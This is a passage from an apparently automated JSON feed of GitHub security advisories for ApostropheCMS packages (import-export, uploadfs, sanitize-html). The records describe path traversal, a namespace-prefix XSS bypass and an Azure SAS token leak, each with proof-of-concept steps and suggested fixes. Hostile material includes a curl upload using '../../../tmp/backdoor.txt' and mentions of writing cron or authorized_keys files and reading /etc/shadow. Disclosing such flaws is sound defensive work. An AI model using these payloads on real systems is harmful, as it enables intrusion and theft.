'error' event on WriteStream instance at:\n at internal/fs/streams.js:361:12\n at FSReqCallback.oncomplete (fs.js:156:23) {\n errno: -21,\n code: 'EISDIR',\n syscall: 'open',\n path: '/tmp'\n}\n```\n\nThe `events.js:291` frame shows that transcript came off the Node 14 line my audit box had. The unhandled-`error`-event behavior is not version specific, but the exact message on your supported Node versions is worth a re-run.\n\nSource-side confirmation without running anything:\n\n```bash\ngrep -n \"includes('../')\" packages/import-export/lib/formats/gzip.js\ngrep -n \"WriteStream\" packages/import-export/lib/formats/gzip.js\n```\n\n### Impact\n\nAn authenticated user who can reach the import UI uploads one crafted archive and takes down the Node process handling it. Every worker that picks up such an archive dies the same way.\n\n### Suggested fix\n\nResolve the target and require containment, and attach an error handler:\n\n```js\nconst base = path.resolve(exportPath);\nconst target = path.resolve(path.join(exportPath, name));\n\nif (target !== base && !target.startsWith(base + path.sep)) {\n stream.on('end', next);\n stream.resume();\n return;\n}\n\nif (header.type === 'directory') {\n fsp.mkdir(target).then(next).catch(reject);\n} else {\n const out = fs.WriteStream(target);\n out.on('error', reject);\n stream.pipe(out);\n stream.on('end', next);\n}\n```\n\nThe error handler earns its place independently. Any tar entry that lands on an existing directory name has the same effect whether or not traversal is involved.\n\n### Why this is not GHSA-mwxc-m426-3f78\n\nThe `name.includes('../')` check is the mitigation shipped for GHSA-mwxc-m426-3f78 / CVE-2026-32731. It stops names carrying the literal `../` sequence. It does not canonicalize the joined path, so `./..` and a bare `..` still get through, and it did not touch the missing `error` listener. This report is about what the substring test leaves behind.\n\nAI assistance was used for the code audit and drafting. The exact guard and `WriteStream` lines in `packages/import-export/lib/formats/gzip.js` at the stated HEAD were manually verified, the import route from the page module through `lib/methods/import.js` into the entry handler were manually traced, and the three Node one-liners were manually ran and copied verbatim.\n\nAffected package ranges reported by GitHub:\n@apostrophecms/import-export: < 3.7.0","action":"GitHub lists first patched versions: @apostrophecms/import-export: 3.7.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:23:42.000Z","updatedAt":"2026-10-20T18:23:43.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/import-export","stacks":["JavaScript packages (npm)","@apostrophecms/import-export","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-97wv-p4xx-c7mg","asOf":"2026-10-20T18:23:43.000Z"},"epss":{"probability":0.00485,"percentile":0.41472,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113664&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-97wv-p4xx-c7mg","url":"https://github.com/advisories/GHSA-97wv-p4xx-c7mg","type":"primary","publishedAt":"2026-10-20T18:23:42.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-97wv-p4xx-c7mg, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113664&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113664, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113651","cveId":"CVE-2026-113651","aliases":["GHSA-gmfx-5g6x-rr72"],"kind":"vulnerability","title":"ApostropheCMS: Path traversal in uploadfs","summary":"---\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655","detail":"## Summary\nThe `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.\n\n---\n\n## Details\n\n### Root Cause\n`packages/uploadfs/uploadfs.js:652-655`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655\n\n```javascript\nfunction prefixPath(path) {\n // Resolve any double // that results from the prefix\n return (self.prefix + path).replace(/\\/\\//g, '/');\n}\n```\n\n`packages/uploadfs/lib/storage/local.js`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108\n\n```javascript\ncopyIn: function(localPath, path, options, callback) {\n const uploadPath = uploadsPath + path; // [VULNERABLE]\n return copyFile(localPath, uploadPath, callback);\n},\nstreamOut: function(path, options) {\n return fs.createReadStream(uploadsPath + path); // [VULNERABLE]\n},\nremove: function(path, callback) {\n const uploadPath = uploadsPath + path; // [VULNERABLE]\n fs.unlink(uploadPath, callback);\n```\n\n- `prefixPath()` does **not** normalize paths or reject `../`.\n- The local backend concatenates the path directly into the filesystem call.\n- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.\n\n---\n\n## Proof of Concept (PoC)\n\nHere is the poc files \nhttps://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk\n\n### Build and run\n```bash\ndocker load \n\n### Manual reproduction\n```bash\n# Write outside uploads directory\ncurl -X POST http://localhost:3000/upload \\\n -F \"path=../../../tmp/backdoor.txt\" \\\n -F \"file=@-;filename=backdoor.txt\" \n\n---\n\n## Impact\n\n| Capability | Risk |\n|------------|------|\n| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |\n| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |\n| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |\n\n---\n\n## Remediation\n\nAdd path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:\n\n```javascript\nconst path = require('path');\nfunction safePath(base, target) {\n const resolved = path.resolve(base, target);\n if (!resolved.startsWith(path.resolve(base) + path.sep)) {\n throw new Error('Path traversal blocked: target is outside the intended directory');\n }\n return resolved;\n}\n```\n\nAffected package ranges reported by GitHub:\nuploadfs: < 1.28.0","action":"GitHub lists first patched versions: uploadfs: 1.28.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:21:59.000Z","updatedAt":"2026-10-20T18:22:01.000Z","regions":["Global"],"vendor":null,"product":"uploadfs","stacks":["JavaScript packages (npm)","uploadfs","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72","asOf":"2026-10-20T18:22:01.000Z"},"epss":{"probability":0.00328,"percentile":0.25686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113651&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-gmfx-5g6x-rr72","url":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72","type":"primary","publishedAt":"2026-10-20T18:21:59.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-gmfx-5g6x-rr72, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113651&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113651, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113657","cveId":"CVE-2026-113657","aliases":["GHSA-374f-7chj-9948"],"kind":"vulnerability","title":"ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)","summary":"sanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).\n\nThe `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `[\"animate\", \"animatecolor\", \"animatemotion\", \"animatetransform\", \"set\"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.","detail":"## Summary\n\nsanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).\n\n## Root Cause\n\nThe `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `[\"animate\", \"animatecolor\", \"animatemotion\", \"animatetransform\", \"set\"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.\n\nIronically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(\":\") + 1)` — but this same stripping was not applied to the tag name itself.\n\n## Proof of Concept\n\n```javascript\nconst sanitizeHtml = require(\"sanitize-html\");\n\nconst config = {\n allowedTags: false,\n allowedAttributes: false,\n allowedSchemes: [\"http\", \"https\"]\n};\n\n// Standard animate — BLOCKED by 2.17.7 fix\nconst blocked = sanitizeHtml(\n ` Click `,\n config\n);\nconsole.log(\"Standard animate:\", blocked.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BLOCKED\n\n// Namespace-prefixed animate — BYPASSES the fix\nconst bypassed = sanitizeHtml(\n ` Click `,\n config\n);\nconsole.log(\"svg:animate:\", bypassed.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BYPASS\n```\n\nAll 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.\n\n## Impact\n\nCross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject ` ` to override the `href` attribute of a parent ` ` element after the page loads, causing the link to execute JavaScript when clicked.\n\n## Suggested Fix\n\nStrip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:\n\n```javascript\n// Before (vulnerable):\nif (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {\n\n// After (fixed):\nconst localTagName = name.toLowerCase().slice(name.lastIndexOf(\":\") + 1);\nif (svgAnimationTags.indexOf(localTagName) === -1) {\n```\n\n## Affected Versions\n\nsanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research\n\nAffected package ranges reported by GitHub:\nsanitize-html: >= 2.17.7, < 2.18.0","action":"GitHub lists first patched versions: sanitize-html: 2.18.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:21:19.000Z","updatedAt":"2026-10-20T18:21:20.000Z","regions":["Global"],"vendor":null,"product":"sanitize-html","stacks":["JavaScript packages (npm)","sanitize-html","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-374f-7chj-9948","asOf":"2026-10-20T18:21:20.000Z"},"epss":{"probability":0.00313,"percentile":0.2397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113657&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-374f-7chj-9948","url":"https://github.com/advisories/GHSA-374f-7chj-9948","type":"primary","publishedAt":"2026-10-20T18:21:19.000Z","checkedAt":"2026-10-26T15:55:55.457Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-374f-7chj-9948, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-374f-7chj-9948, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-374f-7chj-9948, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-374f-7chj-9948, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-374f-7chj-9948, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-374f-7chj-9948, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-374f-7chj-9948, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-374f-7chj-9948, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113657&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113657, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113652","cveId":"CVE-2026-113652","aliases":["GHSA-hhph-8536-gfq5"],"kind":"vulnerability","title":"ApostropheCMS uploadfs Azure backend leaks account-level SAS token into every public attachment URL (sas: true)","summary":"When uploadfs is configured with the Azure backend and `sas: true` (a supported configuration introduced in uploadfs 1.25.0), `createContainer()` builds the `BlobServiceClient` from a URL that embeds the full SAS query string, and Azure SDK v12 derived clients inherit that query string. As a result, `getUrl()` returns a base URL carrying the complete account/container SAS signature (`?sv=...&sig=...`), and Apostrophe's `attachment.url()` prepends it to every public attachment link — broadcasting a container-level SAS credential (commonly `sp=rwdlac`, full read/write/delete/list) to every site visitor, including anonymous ones. Anyone who can see an attachment URL can read, overwrite, delete, and list every blob in the container for the SAS lifetime. A companion functional bug (blob path appended after the query string, producing broken URLs) shows this code path was never exercised end to end. Shared-key mode (default) and non-Azure backends are not affected.\n\nVerified at commit `5a3746aaed49761e171c2cbfe793267c959829fd` (uploadfs 1.27.0 in the apostrophe monorepo).","detail":"## Summary\n\nWhen uploadfs is configured with the Azure backend and `sas: true` (a supported configuration introduced in uploadfs 1.25.0), `createContainer()` builds the `BlobServiceClient` from a URL that embeds the full SAS query string, and Azure SDK v12 derived clients inherit that query string. As a result, `getUrl()` returns a base URL carrying the complete account/container SAS signature (`?sv=...&sig=...`), and Apostrophe's `attachment.url()` prepends it to every public attachment link — broadcasting a container-level SAS credential (commonly `sp=rwdlac`, full read/write/delete/list) to every site visitor, including anonymous ones. Anyone who can see an attachment URL can read, overwrite, delete, and list every blob in the container for the SAS lifetime. A companion functional bug (blob path appended after the query string, producing broken URLs) shows this code path was never exercised end to end. Shared-key mode (default) and non-Azure backends are not affected.\n\nVerified at commit `5a3746aaed49761e171c2cbfe793267c959829fd` (uploadfs 1.27.0 in the apostrophe monorepo).\n\n## Details\n\nRoot cause: a credential-bearing client URL is reused as the public base URL. The chain:\n\n- Credential-embedded client: [azure.js#L123-L125](https://github.com/apostrophecms/apostrophe/blob/5a3746aaed49761e171c2cbfe793267c959829fd/packages/uploadfs/lib/storage/azure.js#L123-L125) — `new BlobServiceClient(\"https:// .blob.core.windows.net? \")` where `cluster.key` is the full SAS string including `sig`\n- Leak point: [azure.js#L513-L520](https://github.com/apostrophecms/apostrophe/blob/5a3746aaed49761e171c2cbfe793267c959829fd/packages/uploadfs/lib/storage/azure.js#L513-L520) — `getUrl()` takes `getContainerClient(...).getBlobClient('').url` as `baseUrl`; SDK v12 derived clients inherit the SAS query string, so `baseUrl` already contains `?sv=...&sig=...`\n- Public exposure: [attachment/index.js#L694](https://github.com/apostrophecms/apostrophe/blob/5a3746aaed49761e171c2cbfe793267c959829fd/packages/apostrophe/modules/@apostrophecms/attachment/index.js#L694) — `attachment.url()` = `uploadfs.getUrl() + path` for every rendered attachment link; [attachment/index.js#L1503](https://github.com/apostrophecms/apostrophe/blob/5a3746aaed49761e171c2cbfe793267c959829fd/packages/apostrophe/modules/@apostrophecms/attachment/index.js#L1503) — `getBrowserData()` also ships `uploadsUrl` to every logged-in editor session\n- Companion bug: the blob path is appended **after** the query string (`/container/?sv=...&sig=XXX/attachments/id-name`), so these URLs are also broken — evidence the 1.25.0 code path was never tested\n\nAttack surface: every public page rendering attachment URLs (images, download links), plus the `uploadsUrl` delivered to editor sessions. The leak is passive and unconditional — no action required from the victim beyond serving a page. The credential further propagates through HTML source, logs, Referer headers, and CDN/proxy access logs.\n\n**Suggested remediation:**\n1. Strip the query string before building public URLs: `const u = new URL(blob.svc.getContainerClient(...).getBlobClient('').url); u.search = '';` (or compose `accountUrl + '/' + container` manually), and append the blob path to the pathname, not after the query.\n2. Document that SAS mode must use least privilege (read-only, ideally `sr=b` per-blob), and prefer generating short-lived per-blob read-only signed URLs via `generateBlobSASQueryParameters` instead of embedding a service-level SAS in permanent public URLs.\n\n## PoC\n\nFull PoC posted as the first comment below (`poc.js` + README; offline, no Azure account needed). It replicates the library's exact two steps with the declared dependency `@azure/storage-blob@12`:\n\n1. `npm install @azure/storage-blob@12 && node poc.js`\n2. The script constructs `new BlobServiceClient(\"https://myaccount.blob.core.windows.net?sv=...&sig=FAKESIGNATURE\")` exactly like `createContainer()`, then evaluates the `getUrl()` logic (`getContainerClient('uploads-container').getBlobClient('').url`) and asserts the resulting base URL still contains the `sig` parameter.\n3. Observed output (exit code 0):\n\n```\nbaseUrl: https://myaccount.blob.core.windows.net/uploads-container/?sv=2021-06-08&ss=b&srt=co&sp=rwdlac&se=2099-01-01&sig=FAKESIGNATURE\nattachment URL as served to visitors: https://myaccount.blob.core.windows.net/uploads-container/?sv=2021-06-08&ss=b&srt=co&sp=rwdlac&se=2099-01-01&sig=FAKESIGNATURE/attachments/abc123-photo.jpg\n```\n\nThe produced URL both leaks the token (`sv`…`sig`) and demonstrates the broken path placement. Cross-checking `attachment/index.js` confirms this URL reaches public pages unmodified.\n\n## Impact\n\n- **What it is:** insufficiently protected credentials (CWE-522) leading to information exposure (CWE-200). A container-level SAS token — commonly granted `sp=rwdlac` (read/write/delete/list/ACL) — is disclosed to every site visitor including anonymous users, valid for the SAS lifetime (often years). Holders can read, overwrite, delete, and enumerate every attachment in the container; the library applies no narrowing.\n- **Who is impacted:** Apostrophe sites using uploadfs with the Azure backend and `sas: true` (introduced in 1.25.0; present through 1.27.0). Default shared-key mode and other backends are unaffected. When the SAS is provisioned read-only, the impact reduces to unauthenticated read/download of all attachments.\n\n---\n\nReported by **Kimi Security Team** (bug-report@moonshot.ai).\n\nAffected package ranges reported by GitHub:\nuploadfs: >= 1.25.0, < 1.28.0","action":"GitHub lists first patched versions: uploadfs: 1.28.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:20:35.000Z","updatedAt":"2026-10-20T18:20:36.000Z","regions":["Global"],"vendor":null,"product":"uploadfs","stacks":["Microsoft Azure","JavaScript packages 